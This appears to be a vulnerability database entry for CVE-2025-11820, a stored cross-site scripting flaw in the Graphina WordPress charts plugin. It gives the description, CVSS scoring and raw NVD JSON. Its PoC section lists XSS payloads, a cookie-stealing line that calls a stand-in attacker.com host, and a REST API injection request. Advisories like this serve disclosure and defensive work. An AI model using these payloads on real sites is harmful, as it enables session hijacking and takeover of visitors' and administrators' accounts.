Security Vulnerability Report
中文
CVE-2025-11820 CVSS 6.4 MEDIUM

CVE-2025-11820

Published: 2025-11-05 10:15:34
Last Modified: 2026-04-15 00:35:42

Description

The Graphina – Elementor Charts and Graphs plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple chart widgets in all versions up to, and including, 3.1.8 due to insufficient input sanitization and output escaping on data attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The vulnerability affects multiple chart widgets including Area Chart, Line Chart, Column Chart, Donut Chart, Heatmap Chart, Radar Chart, Polar Chart, Pie Chart, Radial Chart, and Advance Data Table widgets.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Graphina – Elementor Charts and Graphs <= 3.1.8(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Graphina Plugin Stored XSS PoC --> <!-- Requires Contributor-level access or higher --> <!-- Method 1: Using Elementor Page Builder --> <!-- 1. Create a new post/page in WordPress --> <!-- 2. Add a Graphina chart widget (e.g., Line Chart) --> <!-- 3. In chart data settings, inject XSS payload in label/name fields --> <!-- XSS Payload Examples: --> <script>alert(document.cookie)</script> <img src=x onerror=alert('XSS')> <svg onload=alert(document.domain)> <iframe src="javascript:alert(document.cookie)"> <!-- Example: Chart Data JSON injection --> { "chart_data": { "label": "<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>", "values": [100, 200, 150] } } <!-- Method 2: Direct API/Code Injection (if applicable) --> <!-- Using WordPress REST API with Contributor token --> POST /wp-json/wp/v2/posts/{id} Authorization: Bearer {contributor_token} Content-Type: application/json { "content": "[graphina id='xss_chart']<!-- XSS payload here -->[/graphina]" } <!-- Exploitation Impact: --> <!-- - Session hijacking via cookie theft --> <!-- - Defacement of affected pages --> <!-- - Phishing attacks via injected forms --> <!-- - Privilege escalation to admin if admin views the page -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11820", "sourceIdentifier": "[email protected]", "published": "2025-11-05T10:15:34.357", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Graphina – Elementor Charts and Graphs plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple chart widgets in all versions up to, and including, 3.1.8 due to insufficient input sanitization and output escaping on data attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The vulnerability affects multiple chart widgets including Area Chart, Line Chart, Column Chart, Donut Chart, Heatmap Chart, Radar Chart, Polar Chart, Pie Chart, Radial Chart, and Advance Data Table widgets."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://gist.github.com/webber-naut/3c26ce96cc18d3b8387edb8482653bc3", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/graphina-elementor-charts-and-graphs/tags/3.1.7/assets/elementor/js/apex-chart/GraphinaApexChartBase.js#L303", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/graphina-elementor-charts-and-graphs/trunk/assets/elementor/js/apex-chart/AdvanceDataTable.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/graphina-elementor-charts-and-graphs/trunk/assets/elementor/js/apex-chart/AreaChart.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/graphina-elementor-charts-and-graphs/trunk/assets/elementor/js/apex-chart/LineChart.js", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0a576c71-615c-4333-8cd3-93343ce64f7b?source=cve", "source": "[email protected]"}]}}